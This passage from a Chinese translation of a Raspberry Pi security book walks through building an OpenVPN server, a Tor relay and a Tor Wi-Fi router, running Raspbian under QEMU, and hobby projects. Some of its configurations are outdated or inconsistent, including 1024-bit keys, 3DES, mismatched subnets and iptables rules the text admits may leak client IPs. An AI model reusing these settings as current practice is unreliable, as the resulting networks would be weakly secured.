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不要手工管理需要禁止访问的网站。只需要从 http://www.squidguard.org/blacklists.html
 下载免费的黑名单列表，即可获得已经分类好的各种网站的更新列表。



6.4.3　用OpenVPN做远程访问

虚拟专用网络（Virtual Private Network，VPN）是许多公司会使用的基本安全手段。VPN使用户能直接接入公司的远程网络，仿佛依然在公司内部一样，通过加密的方式，保护客户端和所接入网络之间的安全性。这种方式可以防范很多中间人攻击，并在离开了办公场所后也依然能保证办公效率。OpenVPN可以让树莓派变成VPN集中器，以很低的成本就能提供上述各种收益，而且还并不止于此。

下面介绍怎样通过以下步骤，将树莓派变成一个VPN集中器。

1．通过NOOBS或直接从Raspberry Pi网站下载，使用第1章中的步骤，安装最新版本的Raspbian映像。

2．建议在安装好后，首先执行升级步骤，按照第1章中规定的步骤执行apt-get update和apt-get upgrade。

3．因为这个解决方案是针对外网的，在开始配置OpenVPN前，强烈建议修改默认密码。
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需要先通过sudo-i命令变成root用户，然后再执行update和upgrade命令。



4．在升级了Raspbian版本后，还需要确定一个在外网能访问到的IP地址，因为要通过它连接VPN。还需要选择一个用于连接的端口，如UDP流量使用1194端口。这样就需要在路由器和防火墙上设置一下1194端口的转发。可以选择不同的端口和协议，如TCP，这取决于用户认为在路由器和防火墙上开放什么端口合适。

5．在大多数系统上默认并未安装OpenVPN，所以需要先使用apt-get install openvpn来安装程序，如图6-18所示。
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图6-18

6．接下来需要生成保护VPN服务器的密钥。要实现这个目的，会使用easy-rsa这个程序。以下操作需要root用户权限，所以在执行命令前先输入sudo-s，再使用以下命令把easy-rsa/2.0目录复制到openvpn目录下。



 cp -r /usr/share/doc/openvpn/examples/easy-rsa/2.0 /etc/openvpn/easy-rsa
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这类证书比较适用于小型VPN的部署，但如果规模扩展了，就应该考虑使用OpenSSL生成Certificate Signing Request（CSR）请求，并让一个受信任的证书权威机构签发正式的证书。



7．然后执行cd /etc/openvpn/easy-rsa命令，进入easy-rsa目录。再执行ls，会看到一个叫vars的文件。需要编辑这个文件，所以输入nano vars。找到EASY_RSA这个变量，把它修改为export EASY_RSA="/etc/ openvpn/easy-rsa"。图6-19显示了该文件第13行需要做调整。
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图6-19

8．如果对加密强度这事特别在意，可以将加密强度从1024位提高到2048位。只要找到这一行export KEY_SIZE=1024，把后面的数字修改为2048。做完后，按下Ctrl + X保存修改。

9．接着需要创建一个证书权威机构（Certificate Authority，CA）的证书和Root CA证书。树莓派就作为CA机构并对OpenVPN程序的密钥做签发。继续保持在easy-rsa目录下，输入source ./vars加载vars文档中的内容。输入./clean-all清除之前的密钥。

10．输入./build-ca先创建自己的CA中心。需要回答一系列程序提出的问题，如你在哪里、公司名称等。图6-20就是运行了前面这条命令后的第一个问题。
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图6-20

11．当回答完最后一个问题，也就是邮件地址后，就可以给VPN服务器起个名字了，方法是执行./build-key-server [服务器名称]命令。再一次，还是得回答一些可选的问题。确保刚才设定的服务器名称设为Common Name字段的值，程序默认也会选择这个名字。碰到A challenge password一项则不要输入，留空即可。

12．此时会看到一条信息，说证书的签发有效期是3,650天，并需要再确认一下。输入yes（y），程序就会生成你的VPN服务器证书。

13．到这里服务器这边的事情做完了，接下来创建“客户端”也就是用户端的密钥。例如，为笔记本电脑创建一个密码。使用./build-key-pass [用户名]这条命令。在这个例子里，用户名叫laptop1。它还会提示你输入一个要记住的pass phrase（相当于密码）。按要求输入，再根据提示完成其他设置。确保A challenge password这一项留空。确认后执行证书签发，完成后会提示数据库已被更新。

14．执行cd keys命令，进入keys目录，并输入openssl rsa -in laptop1. key -des3 -out laptop1.3des.key。这样就会应用des3加密算法进行加密，也就是对每个数据区块执行3遍des加密算法。

15．这时候，就创建好服务器证书和客户端证书了。如果希望为其他设备也创建证书，可以重复以上的客户端证书步骤。完成后，执行cd /etc/openvpn/easy-rsa命令回到easy-rsa目录。然后输入./build-dh命令，创建Diffie-Hellman密钥交换。
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可能会看到提示，说要先执行source vars，才能使用./build-dh命令。那请按提示先运行source vars再重新执行./build-dh命令。



整个进度所花的时间取决于所选的加密强度。如果在前面的设置里，加密强度被改为2048位，那需要的时间会更长些。如果按1024位来算，大概需要几分钟完成。

16．下一步是启用Denial of Service（DoS）拒绝服务攻击防护，方法是使用HMAC密钥（Hashbased Message Authentication Code，哈希运算消息认证码）。这种方式是树莓派在认证一个接入请求时，会先询问一个静态密钥。这会阻止攻击者发送随机重复的请求。使用openvpn –genkey -secret keys/ta.key命令来实现。

17．此时，已经产生了密钥并用CA对它们进行签发。现在要配置OpenVPN。需要一个.conf配置文件给OpenVPN设定可以接受从哪里过来的连接以及连接的类型。输入nano/etc/openvpn/server. conf。会在openvpn目录下打开一个空白文件。配置OpenVPN的内容如下:
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在下面的内容里，有注释符号的地方，是需要根据自己的实际情况进行调整的，请输入自己的具体信息。





local 192.168.2.0 # 

这里改为你的树莓派

IP

地址

 


dev tun 


proto udp. # 

使用的协议


port 1194 


ca /etc/openvpn/easy-rsa/keys/ca.crt


cert /etc/openvpn/easy-rsa/keys/Server.crt # 

指向你创建的证书文件名


key /etc/openvpn/easy-rsa/keys/Server.key #

指向你创建的密钥文件名


dh /etc/openvpn/easy-rsa/keys/dh1024.pem # 

如果修改过加密强度，这里也需要调整

 


server 10.8.0.0 255.255.255.0 


#

下面这行是设置服务器和远程端点

IP


ifconfig 10.8.0.1 10.8.0.2



# 

为

OpenVPN

服务器增加一条到客户端路由表的设置


push "route 10.8.0.1 255.255.255.255" 


#

为

OpenVPN

的子网络增加一条到客户端路由表的设置


push "route 10.8.0.0 255.255.255.0" 


# 

这是你的本地子网络


push "route 192.168.2.0 255.255.255.0" # 

修改为树莓派的

IP

地址


# 

设置路由器的主域名服务器地址


push "dhcp-option DNS 8.8.8.8" 


push "redirect-gateway def1" 


client-to-client 


duplicate-cn


keepalive 10 120 


tls-auth /etc/openvpn/easy-rsa/keys/ta.key 0 


cipher AES-128-CBC 


comp-lzo 


user nobody 


group nogroup 


persist-key 


persist-tun 


status /var/log/openvpn-status.log 20 


log /var/log/openvpn.log 


verb 1






在完成修改后，按下Ctrl + X组合键保存。

18．下面要创建另一个文件来配置树莓派转发互联网流量。为此，需要先执行nano /etc/sysctl.conf命令编辑sysctl.conf文件。找到靠近文件开头位置里这一行# Uncomment the next line to enable packet forwarding for IPv4，去除在这行文字下一行的# net.ipv4.ip_forward=1前的#注释符。这是告诉树莓派转发互联网的流量而不是自己接收下来。按Ctrl + X组合键保存。

19．然后输入sysctl -p使设置生效。sysctl命令用于实时配置内核参数。

20．至此，与VPN相关的所有操作都完成了，但是树莓派的防火墙会拦截接入的连接，而且树莓派的防火墙在重启后会变回默认设置。这里需要创建一个脚本，确保树莓派记得放开OpenVPN的连接。执行nano /etc/firewall-openvpn-rules.sh命令打开一个空白文档。文档里输入以下内容。



 #!/bin/sh


 iptables -t nat -A POSTROUTING -s 10.0.2.0/24 -o eth0 -j SNAT 


 --to-source 192.168.X.X.






21．上一行命令中10.0.2.0/24是树莓派的客户端地址，也就是允许的VPN客户端地址。还需要根据实际情况设置树莓派的IP地址（192.168.X.X处）。请注意这个脚本是设置eth0接口的，以它作为外网的接口。按下Ctrl + X组合键保存修改。

22．还需要将其改为可执行文件，通过修改/etc/firewall-openvpn-rules.sh文件的权限和属主。把权限改为700也就是只有属主才能读取、写入和执行，并把属主改为root。需要执行的命令如下。



 chmod 700 /etc/firewall-Openvpn-rules.sh 


 chown root /etc/firewall-Openvpn-rules.sh






23．接着还需要把这个脚本放到网卡的设置代码里，这样在系统启动的时候这段脚本就会自动加载。它会在防火墙上打开一个洞，OpenVPN才能正常工作。输入nano /etc/network/interfaces，找到这一行：iface eth0 inet dhcp，再把pre-up /etc/firewall-openvpn-rules.sh这一行加到它的后面，再跟一行带缩进的空行。按下Ctrl + X保存修改。

24．执行sudo reboot重启树莓派。

恭喜，现在这个全功能的VPN集中器就配置好了。

现在使用以下步骤下载OpenVPN客户端并连接树莓派OpenVPN服务器。OpenVPN的客户端有多种不同的选择，我更喜欢来自SparkLabs的Viscosity。

1．访问 https://www.sparklabs.com/viscosity/
 ，下载Viscosity客户端。
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有许多种OpenVPN客户端，包括各种免费的选择。各种产品的使用方法和以下步骤大同小异。



图6-21显示的是Viscosity的Preferences窗口。
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图6-21

2．安装好客户端后，需要新建一个连接。加入VPN服务器的IP地址，客户端才能知道要连哪个VPN服务器。所加的IP就是从外网访问树莓派的IP。图6-22显示了General标签页里的New Connection窗口。
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图6-22

3．然后点击Authentication标签页。在第一个下拉列表里，选择PKCS12。有多种身份认证方式可选，还记得前面设置时生成的客户端证书吧，只需要简单地选择PKCS12证书并直接导入即可。
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得再回到树莓派上导出客户端证书，这样才能在客户端这里导入。可以通过U盘或者发邮件的方式把客户端证书传过来。



图6-23显示了在Authentication标签页下的选项。
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图6-23

4．点击Save保存设置，然后再右键点击刚才创建的连接，并选择Connect，如图6-24所示。
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图6-24

至此就连上OpenVPN服务器了。

6.4.4　Tor中继和路由routers

Tor有时候也叫洋葱路由（onion routing），这套匿名访问系统通过庞大的志愿者节点及它们提供的路由和流量掩藏服务，来实现匿名访问互联网的效果。使用Tor在互联网上会难以追踪使用者的痕迹。如果不希望自己的流量数据被分析，隐私被侵犯，这是很理想的防范手段。关于Tor更详细的信息请见https://www.torproject.org/
 。

Tor中继的机制是随机选择中间途径的系统，以实现端点间通信的模式。各个端点通过特定的软件访问Tor网络，这个软件会将流量转发往Tor网络。图6-25所示为Tor网络中，两个端点用不同路径来回通信的示意图。

[image: Picture 12245]


图6-25

可以将树莓派配置成一个Tor节点和路由器。Tor节点可以让网络里其他使用者的流量经过自身，所以节点是Tor网络的一部分，作用是帮助他人匿名地访问互联网。Tor路由器则是从内网接入到Tor网络时的接入点，这样通过Tor路由器上网，使用者的流量就会被随机分配到Tor网络里去。使用Tor路由器上网时，无需特殊的Tor软件就能使用Tor网络了，因为流量是通过Tor路由器进出的。

下面介绍怎样把树莓派变成一个Tor节点和路由器。

Raspberry Tor

可以把运行Kali Linux的树莓派变成一个Tor节点，这样也就参与到Tor项目中了。
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运行Tor节点可能带来法律或道德方面的约束和要求。建议先研究一下这方面的内容，以完全理解其中的含义，再运行Tor。运行一个Tor节点，意味着匿名用户可以使用你的互联网连接，来做恶意或非法的事情。此外，随着丝路2.0的被关（Silk Road 2.0）和其他几起司法介入的抓捕行为，最近匿名的Tor网络也饱受质疑。



如果要用运行Kali Linux的树莓派加入Tor网络，需要执行以下步骤做一些清理工作。

1．首先，关闭运行在树莓派上额外的服务或应用。如果不确定，可以执行一次干净的安装，或使用Raspbian的发行版。

2．修改root密码。最少12位的字母数字组合。

3．再安装一个sudo软件包，并添加一个tor用户名。这样就不需要使用root用户了。另外，还需要更新已安装的软件：



apt-get install sudo 


adduser tor 


passwd tor 


apt-get update 


apt-get upgrade






4．还需要把tor账号加到拥有sudo权限的账号列表中。可以编辑 /etc/sudoers文件，输入sudo visudo命令并加入以下这行tor ALL=（ALL）ALL。
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visudo命令是传统和最常见的编辑sudoers列表的方式。然而，在某些操作系统里，并没有这条命令。那样的话，可以执行vi /etc/sudoers命令，直接编辑sudoers文件了。



图6-26显示了编辑 /etc/sudoers文件时的情况。
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图6-26

5．把Kali Linux默认的DHCP模式改为静态地址。技术上来说，DHCP地址也是可以保持不变的，但在这个设备上使用静态地址的可能性更大。输入ifconfig命令查看网络接口，可以看到图6-27显示的信息。把它记录下来。
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图6-27

编辑网卡配置文件。使用vi，但也可以选择自己喜欢的编辑器。执行sudo vi /etc/network/interfaces命令。

找到与以下这行iface eth0 inet dhcp类似的地方，如图6-28所示。
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图6-28

把这一行改成静态地址。在这个例子里，静态地址为10.0.1.167，子网掩码为255.255.255.0，默认网关为10.0.1.1，使用的命令如下。



iface eth0 inet static 


address 10.0.1.167         

<- 

选择适用于自己的网络IP地址，这里仅是举例！
netmask 255.255.255.0 

    <- 使用正确的网段掩码设置
network 10.0.1.0     

    <- IP网络
broadcast 10.0.1.255

    <- 输入IP广播地址 
gateway 10.0.1.1     

    <- 输入路由器或默认网关地址




图6-29则显示了设置之后的结果。
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图6-29

6．下面安装Tor。输入sudo apt-get install tor命令。编辑tor的配置文件/etc/tor/torrc，增加或修改和以下几行相关的配置。如果配置文件里还有其他配置行，也是正常的。

在配置文件里，增加或修改和以下若干行相关的指令：



 SocksPort 0


 Log notice file /var/log/tor/notices.log


 RunAsDaemon 1


 ORPort 9001


 DirPort 9030


 ExitPolicy reject *:*


 Nickname xxx (

请自行选择喜欢的名字)


 RelayBandwidthRate 100 KB #

阈值流量为100KB/s (

也就是800Kbps)


 RelayBandwidthBurst 200 KB # 

但允许突发流量至200KB/s 


 (

也就是1600Kbps)






输入sudo apt-get install tor命令后如图6-30所示。
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图6-30

7．还需要确保树莓派的网络防火墙上开放了TCP协议的9030和9001端口，并确保从外网能访问到这些端口。所以也许还需要使用NAT（网络地址转换，Network Address Translate）为树莓派设定一个固定的NAT状态。如果你用的是家用路由器，在其上一般需要设置DMZ半军事区（Demilitarized Zone）或者做游戏端口映射。

8．重启系统。

9．在命令行方式下，执行sudo /etc/init.d/tor restart命令就可以启动Tor了。检查Tor的日志文件，确保服务已启动。Tor的日志文件在/var/log/tor/log目录下，可以通过less /var/log/tor/log命令查看日志文件。找到这一行Tor has successfully opened a circuit.Looks like client functionality is working，如果看到这一行，就代表Tor系统已经正确设置好了。

这个时候可以使用Tor客户端连上Tor网络进行测试。不同的操作系统上有不同的Tor客户端软件。以下是供参考的几个链接。


	Windows: https://www.torproject.org/docs/tor-doc-windows.html.en


	Linux/Unix/BSD: https://www.torproject.org/docs/tor-doc-unix.html.en


	Debian/Ubuntu: https://www.torproject.org/docs/debian.html.en


	Mac OS X: https://www.torproject.org/docs/tor-doc-osx.html.en


	Android: https://www.torproject.org/docs/android.html.en




这时候就有了一个全功能的Tor中继节点和Tor客户端，可以接入Tor网络了。产品配置好后，除了在Tor终端上的一些基本信息和状态消息，其他就没什么需要特别关注的了。切换选择到终端的视图模式下，图6-31所示为能看到更多的流量和节点参与状态信息。
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图6-31　Tor终端

Tor路由器

上一小节阐述了怎样把树莓派搭建成Tor节点。通过连接这个节点，使用者的流量就和Tor网络里的用户一样，完全变成匿名的了。但和Tor节点相连，通常需要使用特殊的软件。如果希望将自己的整个网络都和Tor网络相连，所有出去的流量都变成匿名的，要怎么办呢？可以把树莓派变成Tor路由器来实现这一功能。

例如，可以将树莓派接到外部路由器上，然后用树莓派的无线网卡广播一个私有的SSID，用户连接这个树莓派无线路由，这样流量就过滤到Tor网络上去了。如果想快速地设立一个无线热点，让所有用户的流量都使用Tor网络，这种方式非常理想。

下面介绍把树莓派配置成Tor路由器的步骤。

1．从http://www.raspberrypi.org/downloads/
 网站下载最新版本的Raspbian安装文件。在本书写成之际，最新版本为2014-09-09-wheezy- raspbian.img。下载后，需要先解压这个文件。

2．把Raspbian映像文件安装到用在树莓派上的SD卡（microSD）中。在第1章中已经介绍过具体过程。对下载的映像文件，执行以下命令。



 sudo dd if=~/Desktop/2014-09-09-wheezy-raspbian.img of=/dev/disk1
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这个Tor路由器可以架设在各种Debain系统的Linux上。虽然我们更喜欢Kali Linux，但我们选择Raspbian的理由是，Kali Linux有很多服务如果没有关掉或者正确配置的话，有可能被攻击利用。



3．用安装在上面microSD上的Raspbian映像来启动树莓派。Raspbian的默认用户名和密码分别是：pi和raspberry。

4．登录图形界面桌面环境后，打开桌面的终端应用。输入sudo apt-get update和sudo　apt-get upgrade命令升级系统。

5．还需要安装DHCP服务器。下面这条命令执行的时候可能会出错，忽略即可。输入sudo apt-get install vim tor hostapd isc-dhcp-server命令。

6．用自己习惯的编辑器修改 /etc/dhcp/dhcpd.conf文件。打开/etc/default/ isc-dhcp-server文件并移至最后一行。编辑INTERFACES这一行为INTERFACES="wlan0"。确保在配置文件里，wlan0的两边有一对双引号。

7．还需要编辑wlan0网卡配置。使用习惯的编辑器修改/etc/network/ interfaces文件。移至wlan0段落，并给它设定一个静态IP地址。文件内容大致如下。



 iface wlan0 inet static 


 address 10.99.99.1 


 netmask 255.255.255.0 


 allow-hotplug wlan0 


 #iface wlan0 inet manual 


 #wpa-roam /etc/wpa_supplicant/wpa_suppliant.conf


 #iface default inet dhcp
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请留意这里注释掉了一些老的配置。这种做法比直接删掉不需要的配置更可取些，因为比较方便回退。



8．下一步，要配置树莓派的无线加密方式，这样无线网络才是安全的。需要先创建一个新的配置文件/etc/hostapd/hostapd.conf。
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请确保hostapd执行程序支持你的无线网卡型号。如果两者不兼容，需要自行编译该可执行文件，否则无法使用无线安全。Adafruit提供了另一个版本的hostapd文件1
 ，可以支持更多芯片
[6]

 型号。请在这里下载：http://www.adafruit.com/downloads/adafruit_hostapd.zip
 
[7]

 。



通过hostapd.conf配置文件，设置使用WPA2-PSK加密，将SSID设置为DrChaos，把无线的密码设为KaliRaspberry。当然这些设置可以随意改成需要的内容。方法是创建/etc/ hostapd/hostapd.conf配置文件，或者从http://www.adafruit.com/downloads/adafruit_hostapd.zip
 下载一个样例文件并放到 /etc/hostapd目录下。这个文件的内容大致如下。



interface=wlan0 


driver=rt2800usb 


ssid=DrChaos 


hw_mode=g 


channel=6 


macaddr_acl=0 


auth_algs=1 


ignore_broadcast_ssid=0 


wpa=2 


wpa_passphrase=KaliRaspberry 


wpa_key_mgmt=WPA-PSK


DAEMON_CONF="/etc/hostapd/hostapd.conf"
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请查看/sys/class/net/wlan0/device/driver/module/drivers目录，确认driver那一行应该写哪个驱动。



打开/etc/sysctl.conf配置文件，取消net.ipv4.ip_ forward=1这行前面的注释符，启用这行转发配置。

9．输入以下命令，启用IP转发。



echo 1 > /proc/sys/net/ipv4/ip_forward






10．在iptable里加入一些加入简单规则，实现NAT功能，并把我们的数据从无线网络路由到互联网。
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请注意，以下 的iptable规则是非常宽松的。在某种情况下，这么设置可能会暴露客户端的真实IP地址。如果希望增加额外的安全防护，则跳过第16步
[8]

 （或把echo值从1改回0），并明确设定允许哪些连接。



用iptable执行如下命令。



iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE 


iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 22 -j 


REDIRECT --to-ports 22



iptables -t nat -A PREROUTING -i wlan0 -p udp --dport 53 -j 


REDIRECT --to-ports 53 



iptables -t nat -A PREROUTING -i wlan0 -p tcp --syn -j REDIRECT 


--to-ports 9040



iptables -A FORWARD -i eth0 -o wlan0 -m state --state 


RELATED,ESTABLISHED -j ACCEPT 



iptables -A FORWARD -i wlan0 -o eth0 -j ACCEPT 


iptables-save > /etc/iptables.ipv4.nat






图6-32所示为iptable设定的路由生效了。
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图6-32

11．再编辑Tor配置文件/etc/tor/torrc：



Log notice file /var/log/tor_notices.log


VirtualAddrNetwork 10.99.0.0/10


AutomapHostsSuffixes .onion,.exit


AutomapHostsOnResolve 1


TransPort 9040


TransListenAddress 10.99.99.1


DNSPort 53


DNSListenAddress 10.99.99.1






现在就可以接上有线网络，把树莓派连上互联网了。这时无线用户就可以使用密码KaliRaspberry连接SSID名为DrChaos的无线网络，所有的互联网流量就会走Tor网络了。

打开Web浏览器，访问https://check.torproject.org/
 ，网页上会出现提示信息，如图6-33所示，告知当前是否正在使用Tor网络。

[image: Picture 13152]


图6-33

6.5　在PC上用QEMU模拟器运行树莓派

读者可能也留意到了，本书内容里有各种图片和截图，所以在撰写本书时，要不断地在各种不同的操作系统之间切换、要截图、要测试不同的网卡和安装各种不同的软件程序。有时候需要从PC机上通过SSH连上树莓派，但有时候用的是X-Windows客户端。还有时候，甚至会用相机给屏幕拍张照，因为某些情况下没法对树莓派在屏幕上的输出做屏幕截图。再考虑到各种改动，那么QEMU这个工具就超级有价值。

Quick EMUlator（QEMU）是一款模拟器，它可以模拟在各种不同的芯片处理器上，加载各种不同操作系统的情况。用它来模拟树莓派使用的ARM处理器，就能像在真的树莓派上加载和运行不同的操作系统。当然模拟器并非十全十美，有时候，它会无法加载操作系统，又或者效率有问题，会崩溃和无法工作，等等，而在真正的树莓派硬件上，同样的情形可能却完全没问题。但实际上使用模拟器省下来的时间，还是会大于它产生的问题。

下面介绍模拟器的安装过程。

1．到http://qemu.weilnetz.de/
 下载Windows平台下的QEMU模拟器，如图6-34所示。
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图6-34

另外QEMU还有Linux版本，以及用Homebrew和XTools运行的Mac OS X移植版，功能都一样。下面的例子只展示Windows版本。我们发现Windows版本最容易安装，Linux版本最可靠，而Mac版在安装和使用上都有点困难。当然每个人的感受可能会不一样。

2．先选择适用的版本（64位或32位）
[9]

 。下载了正确的版本后，执行安装文件install.exe。大多数情况下，在支持的模拟操作系统中，PC（i386）系统默认没有选上
[10]

 。请确保这一项被勾选了。另外，请注意QEMU的默认安装目录，大多数情况下安装目录在C:\Program Files\qemu。不要擅自改动该目录设置。

3．如果没下载过树莓派适用的系统映像文件，这时候应该去下载一个。既可以选择Kali Linux的ARM平台映像文件，也可以选择其他任意兼容系统。这里打算用Raspbian操作系统，下载地址为http://www.raspberrypi.org/downloads/
 。

4．下一步，需要下载Linux QEMU内核文件。可以到http://xecdesign.com/downloads/linux-qemu/kernelqemu
 
[11]

 下载所需的内核文件。内核文件下载回来后请放到QEMU安装目录下。

5．把树莓派操作系统IMG映像文件解压后也放到QEMU同一目录下，接着就需要运行qemu了。先切换到DOS模式下，然后进入c:\Program Files\qemu目录。

6．执行以下命令行
[12]

 ，在QEMU里加载Raspbian映像文件（或加载其他版本的树莓派映像系统）。



qemu-system-armw.exe -kernel kernel-qemu -cpu arm1176 -m 256 -M


versatilepb -no-reboot -serial stdio -append "root=/dev/sda2 


panic=1 rootfstype=ext4 rw init=/bin/bash" -hda raspbian.img
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请注意qemu-system-armw.exe是用于图形环境的。其他环境则应使用qemu-system-arm.exe。qemu-system-arm.exe命令用于加载操作系统。加载操作系统映像文件时，要输入解压出来后放在QEMU同一目录下的正确的映像文件名。在执行命令后，QEMU可能需要好几分钟才能启动系统。有报道说QEMU在Windows 8/8.1和Mac OS X Yosemite（10.10）环境下工作不太正常。



7．QEME命令的前半部分设置模拟器要使用哪种处理器，后半部分指定要加载的映像文件名。请注意，这里把映像名字从2014-09-09-wheezy- raspbian.img改为raspbian.img，是为了执行qemu命令时能简化输入。在指定QEMU要加载哪个映像文件时，别忘了映像文件的后缀名。

如图6-35所示，树莓派操作系统（例子中用的是Raspbian）在QEMU窗口成功启动了。此时可以在这个操作系统进行交互，测试不同的应用和工具。另外，QEMU文档的高级配置章节里，还介绍了不同模拟器之间如何互联、如何与实体硬件设备进行映射和其他高级配置等内容。大多数情况下，模拟器的常用程序的可用性和连通性都非常不错。
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图6-35　启动QEMU

6.6　其他树莓派应用

本书主要着眼于介绍树莓派在渗透测试中的应用。但除了用于渗透攻击，实际上它还有无数的使用场景，如攻击防护，或者较为不太正式的用法，如玩游戏。请前往树莓派大本营网站了解更多详情：http://www.raspberrypi.org/
 。

以下是在树莓派上适用的其他一些软件。

6.6.1　用PiAware做飞行跟踪

可以用树莓派和FlightAware（www.flightaware.com
 ）搭建一套ADS-B系统（广播式自动相关监视技术，Automatic Dependent Surveillance-Broadcast）。ADS-B是全球空管控制机构都在使用的一种相互协助式的飞行器监测技术，这套系统通过卫星和其他导航系统确定飞行器的位置。飞行器会定时广播自己的ADS-B位置，使得它们的位置得以被追踪到。

FlightAware自己拥有非常大量的飞行器位置接收设备，但也欢迎飞行爱好者一起监控各航线的数据，并协助FlightAware处理这些数据，这样，数据就可以在其网站上提供给感兴趣的人使用。PiAware能把树莓派变成一套雷达追踪系统，并把数据提供给FlightAware使用。图6-36展示了一套这种用法的树莓派。
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图6-36

要启动该项目，需要先下载PiAware操作系统并安装在树莓派上。关于如何把操作系统安装到树莓派microSD卡上，请参考第1章的内容。从以下网址下载Piaware系统：http://piaware.flightcdn.com/piaware-sdcard-1.16.img.zip
 
[13]

 。

启动装有PiAware操作系统的树莓派后，就可以把ADS-B USB接收器插到树莓派上了。建议使用NooElec NESDR Mini USB RTL-SDR和ADS-B接收器套装，在美国购买这套设备大概需要22美金。图6-37展示了NooElec NESDR Mini套件。
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图6-37

由于飞行器的信号无法穿透建筑，所以接收器的天线要放到室外，使飞行器能在视线直达范围内，以保证最佳效果。还需要在http://flightaware.com/account/join/?referer=/account/join/
 注册一个免费的FlightAware账号。FlightAware会在约30分钟后开始处理数据，查看数据的地址在 http://flightaware.com/adsb/stats
 。

恭喜，这套系统可以正常工作了（见图6-38）！
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图6-38　正常工作的飞行记录页面

6.6.2　PiPlay

虽然本书主要关注渗透测试和其他安全需求，然而我们希望多介绍一种很酷的ARM系统，使树莓派变成一套游戏平台。其中包括很多广受欢迎的游戏平台模拟器，包括PlayStation、Game Boy、Super Nintendo Entertainment System（SNES）、NES和Atari等。这套系统可以在以下地址下载：http://blog.sheasilverman.com/pimame-raspberry-pi-os-download/
 
[14]

 。

安装PiPlay的步骤与Kali Linux类似。例如，用命令sudo dd if=piplay-0.8-beta6. img of=/dev/disk2把PiPlay 0.8 beta映像文件安装到microSD卡上，因为这块数据卡被识别为disk2分区。装完后，只要给树莓派通上电，启动安装好的PiPlay系统，就会自动启动到主图形界面下，如图6-39所示。
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图6-39

点击箭头翻页，就会看到其他游戏平台的菜单选项和其他的配置选项。图6-40就是第2屏的内容。
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图6-40

PiPlay启动后要做的第一件事就是升级。点击菜单里的大箭头，切换到第3屏，找到Update PiPlay选项。树莓派必须联网才能更新，因此在升级之前需要插入网线或者用Setup Wireless按钮建立无线连接。如果已经联网，在主菜单的右上角可以看到IP地址。图6-41为第3屏界面，能看出来我的PiPlay联网了，因为右上角显示有IP地址。而前一张截图在这个位置是No Network Connection。
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图6-41

如果在界面里选择某个操作系统如SNES，会发现里面一个游戏也没有。但可以在互联网上找到各种ROM格式的游戏下载。
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下载游戏的ROM或制作它们的备份，都有可能触犯版权或者违反法律。有各种各样来源的ROM，有的是作者提供的原创游戏，这种一般是免费或者只是象征性地收费。这些ROM一般发布在各种网站、usenet新闻组和P2P类型的网络里。



在PiPlay里安装ROM非常简单，只要使用内置的几个scraper程序来安装即可。基本套路是这样：下载一个ROM，使用scraper应用安装这个ROM，确认ROM已加入系统，就可以开始玩啦。图6-42展示了一个随PiPlay系统默认安装的名为Cave Story的游戏。

[image: Picture 13669]


图6-42

6.6.3　PrivateEyePi

PrivateEyePi是一款家用自动化和安防系统的开源系统，可以实现运动检测、摄像头、热源检测、红外和夜视功能。它有一个很简单的可用Web界面做监控和管理，也可以用于自定义的手机应用。图6-43显示了一套家庭监控系统架构的详细描述。

[image: Picture 13632]


图6-43

因为这个系统有各种不同的选项，可以弄得非常复杂，这里就不深入配置的细节了。名为Gadjet的作者把整个过程写成了文档，包括怎么购买相关部件及一步一步的安装向导，请参见http://www.projects.privateeyepi.com/home/home-alarm-system-project
 
[15]

 。

图6-44展示家庭监控系统的报警触发的过程。

[image: Picture 13633]


图6-44

搭建整套系统需要一些基本的电路知识，否则可以购买整套预先搭建好的产品。当然也知道大家对这个项目会有一些忧虑，这些忧虑包括它作为一套安防系统到底有多可靠，以及性价比是否合理，因为买一套常规的家庭安防报警系统价钱也差不多。然而相信对团队、教学和爱好者来说，这个架构还是很棒的。另外，从树莓派的自定义程度和系统的可扩展性来说，这套架构的潜力远高于主流现成的安防商业产品。

6.7　更多用途

除了安全方面以外，树莓派还有其他本书没有谈及的无数种用途。我最喜欢的应用包括OpenELEC（Open Embedded Linux Entertainment Center的简称，开源内嵌式Linux娱乐中心），它可以把树莓派变成一套家庭多媒体中心。其他的用途包括搭建运动检测器、地震监测仪、煤气监测器，等等。希望看完这一章后，能启发大家产生更多更有生产率的树莓派用法。

总结

本章提供了一些额外的树莓派使用工具和用法，简略地探讨了除Kali Linux之外的其他渗透工具集，但从IT圈子里的受欢迎程度看，Kali Linux依然是最有创意的。本章也谈到如何用ARM平台系统来做防护产品，如防火墙、IPS/IDS和VPN。最后介绍了一些和安全未必相关但比较酷的树莓派项目。

全书就到此为止了，希望读者们喜欢。我们也很乐于收到大家的反馈。很欢迎各位到相应的博客来分享你的想法。Aamir Lakhani的博客站点在 www.drchaos.com
 ，Joseph Muniz在www.thesecurityblogger.com
 。在组织本书的相关主题时，我们从树莓派获得很多乐趣，希望你也会喜欢树莓派的体验。包括用这些新知识来干点好事坏事。Aamir希望用电影《蜘蛛侠》里关于责任的话结束全书。所以尽管Joseph有不同意见，但最后我们还是要说这句“能力越大，责任越大”。好好享受动手钻研的快乐吧！




[1]
 　译者注：上述的数据库和这里的程序文件现在都已有升级，以网站当前版本为准。


[2]
 　译者注：这里原文是写用vi，结果后面的命令行和截图都是nano，只好改了。


[3]
 　译者注：原书图6-13和图6-14是完全一样的。但实际上图6-13应该是处于默认dhcp状态时的截图，而图6-14则是调整为静态IP地址后的，是作者粗心贴了两张一样的图。


[4]
 　译者注：这个phpmyadmin是管理MySQL数据库的，但原文确实说是管理PHP的，严重怀疑作者笔误了。


[5]
 　译者注：多加了一句，感觉原作者漏了。


[6]
 　译者注：原文里这两处均为hostapd.conf，实际上应该是hostapd，指的是那个管理ap的执行文件而不是像原文写的那样，看着像配置文件。否则前面那个compile就说不通了，后面下载地址里提供的也是个可执行文件。


[7]
 　译者注：看了下，这个版本颇老，不建议使用，只需要用apt-get安装最新的hostapd即可。


[8]
 　译者注：并没有第16步！不知道原作者指的是哪里。从括号里的把echo从1改回0来看，跳过的也许是上面的第9步？


[9]
 　译者注：在译者的64位Win10环境下，64位的QEMU实际上无法使用，但同样版本的32位QEMU则正常，所以推荐先选择32位版QEMU。


[10]
 　译者注：译者自己装了一下当前版本的QEMU，默认是选择所有的系统的，不知道为什么原作者这么说。


[11]
 　译者注：该地址已失效，请到https://github.com/dhruvvyas90/qemu-rpi-kernel
 下载。


[12]
